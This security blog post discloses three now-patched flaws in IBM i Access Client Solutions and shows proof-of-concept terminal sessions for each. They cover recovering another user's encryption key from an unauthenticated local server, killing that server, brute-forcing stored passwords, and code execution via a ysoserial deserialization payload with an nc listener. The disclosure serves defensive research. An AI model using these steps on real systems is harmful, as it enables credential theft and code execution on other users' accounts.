IBM i Access Client Solutions vulnerabilities

Michał Majchrowicz and Maksymilian Kubiak from the AFINE Team have discovered multiple vulnerabilities in IBM i Access Client Solutions software related to connecting AS400 servers. Chaining those vulnerabilities could allow remote attackers to access client and server machines. Following responsible disclosure, we contacted the vendor (IBM), and presented the vulnerability details on December 8, 2023. 

In this blog post, we discuss details and provide proof of concept exploits for all three vulnerabilities:

  • Remote code execution via insecure deserialization (CVE-2023-45185),
  • Broken access control in the temporary credential server (CVE-2023-45184),
  • Weak password storage (CVE-2023-45182).

These issues were fixed in version 1.1.9.4 or later of IBM i Access Client Solutions.

Local server broken access control

IBM i Access Client Solutions used a separate local server for storing temporary password encryption keys, which runs on a random TCP6 port. The application retrieved this temporary encryption key without any access control.

The local server can be easily found using the netstat command:

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep java
tcp6   0   0 :::34307 :::*   LISTEN   3225094/java   off (0.00/0/0)

We can confirm details about this local server using the ps command:

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ps aux | grep java
mmajchr+ 3224938  6.8  0.9 13305316 301392 pts/6 Sl+  12:30   0:17 java -jar ./acsbundle_1.9.new.jar
mmajchr+ 3225094  0.3  0.2 11512420 79692 pts/6  Sl+  12:30   0:00 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -Djava.class.path=/tmp/ACS.lm13910263510749358977.jar -Dvisualvm.display.name=ACS Daemon -Dcom.ibm.tools.attach.displayName=ACS Daemon com.ibm.iaccess.base.LmHybridServerImpl
mkubiak  3238934  0.0  0.0   6464  1992 pts/12   R+   12:44   0:00 grep --color=auto java

We can get the temporary password encryption key from the local server started by the user mmajchrowicz using the get_key.py script from the mkubiak account (Python script can be found here):

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ./get_key.py 34307        

IBM AS400 Secret Key Recovery Tool v0.2 by Michal Majchrowicz AFINE Team

Received data len: 288
Received data in hex format: b'aced00057372001c636f6d2e69626d2e696163636573732e626173652e4c6d5265706c79000000000000000102000449000b6d5f636f6e646974696f6e4c00056d5f6578637400154c6a6176612f6c616e672f5468726f7761626c653b4c000e6d5f657874656e646564446174617400124c6a6176612f6c616e672f537472696e673b4c000b6d5f7265706c79436f64657400284c636f6d2f69626d2f696163636573732f626173652f4c6d5265706c79245265706c79436f64653b787000000000707400087a6d2f2f69637a2f7e720026636f6d2e69626d2e696163636573732e626173652e4c6d5265706c79245265706c79436f646500000000000000001200007872000e6a6176612e6c616e672e456e756d0000000000000000120000'
Received data in ascii format: b'\xac\xed\x00\x05sr\x00\x1ccom.ibm.iaccess.base.LmReply\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x04I\x00\x0bm_conditionL\x00\x05m_exct\x00\x15Ljava/lang/Throwable;L\x00\x0em_extendedDatat\x00\x12Ljava/lang/String;L\x00\x0bm_replyCodet\x00(Lcom/ibm/iaccess/base/LmReply$ReplyCode;xp\x00\x00\x00\x00pt\x00\x08zm//icz/~r\x00&com.ibm.iaccess.base.LmReply$ReplyCode\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00xr\x00\x0ejava.lang.Enum\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00'

Secret key: zm//icz/

We can kill the local server started by the mmajchrowicz user using the kill_server.py script from the mkubiak account (the script can be found here):

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ./kill_server.py 34307

IBM AS400 Access Client Credentials Server DoS Tool v0.2 by Michal Majchrowicz AFINE Team

Error: [Errno 104] Connection reset by peer

Credentials server seems to be dead :)

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep 34307
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)

This problem was caused by a lack of request source access control

Weak password encryption

IBM i Access Client Solutions used the AES algorithm for storing user passwords. However, 16 bytes encryption key is the combination of a static string (Thanatos) and random characters from a string, which consists of another static string (Behemoth) combined with username, user’s home folder, OS (for example Linux) combined with the current directory where the application was started. As a result, half of the encryption key is static (string Thanatos), whereas the second half is very limited. This makes it very easy for an attacker to brute force passwords, even on a single CPU core.

Here is an example of password decryption of mmajchrowicz user using the as400_password_bruteforce_tool.java script from the mkubiak account (the script can be found here):

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java as400_password_bruteforce_tool.java mmajchrowicz_funciton_admin_work.bin Linux mmajchrowicz /opt

IBM AS400 Password Bruteforce Tool v0.3 by Michał Majchrowicz AFINE Team

Full keyspace: mmajchrowiczLinux/opt/home/mmajchrowiczBehemoth
Full keyspace length: 47

Reduced keyspace: BmajchrowizLnux/pte
Reduced keyspace length: 19

Found good pass: Thanatosaun/Lcmo

Encrypted system password 7 bytes:
2E 1B 10 0A 1B 0D 0A
Decrypted system password 7 bytes:
50 65 6E 74 65 73 74

Decrypted system password: Pentest

This problem was caused by using weak password encryption.

Remote code execution via insecure deserialization

IBM i Access Client Solutions used insecure deserialization for password storage and obtaining a decryption key for password encryption. This could be used by a local or remote attacker to execute code.

The local server can be easily found using the netstat command:

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep java
tcp6   0  0 :::34307   :::*    LISTEN  3225094/java   off (0.00/0/0)

We can confirm details about this local server using the ps command:

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ps aux | grep java
mmajchr+ 3224938  6.8  0.9 13305316 301392 pts/6 Sl+  12:30   0:17 java -jar ./acsbundle_1.9.new.jar
mmajchr+ 3225094  0.3  0.2 11512420 79692 pts/6  Sl+  12:30   0:00 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -Djava.class.path=/tmp/ACS.lm13910263510749358977.jar -Dvisualvm.display.name=ACS Daemon -Dcom.ibm.tools.attach.displayName=ACS Daemon com.ibm.iaccess.base.LmHybridServerImpl
mkubiak  3238934  0.0  0.0   6464  1992 pts/12   R+   12:44   0:00 grep --color=auto java

We can achieve code execution by the user mmajchrowicz using the ysoserial payload from the mkubiak account:

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java -jar ysoserial.jar JRMPClient '127.0.0.1:9191' > jrmp.bin

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ (sleep 3; cat jrmp.bin) | nat -6 ::1 34307=

In the second terminal, we will receive a connection when the service executes the payload:

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ nc -lvnp 9191
listening on [any] 9191 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38012
JRMIK

This problem was caused by an insecure deserialization of network packets and user data.

Timeline

  • Vulnerabilities reported to vendor: 22.09.2023
  • New fixed 1.1.9.4 version released: 08.12.2023
  • Public disclosure: 15.12.2023

References

Is your company secure online?

Join our list of satisfied customers and safeguard your company’s data!

Trust us and leave your contact details. Our team will contact you to discuss the details and prepare a tailor-made offer for you. Full discretion and confidentiality of your data are guaranteed.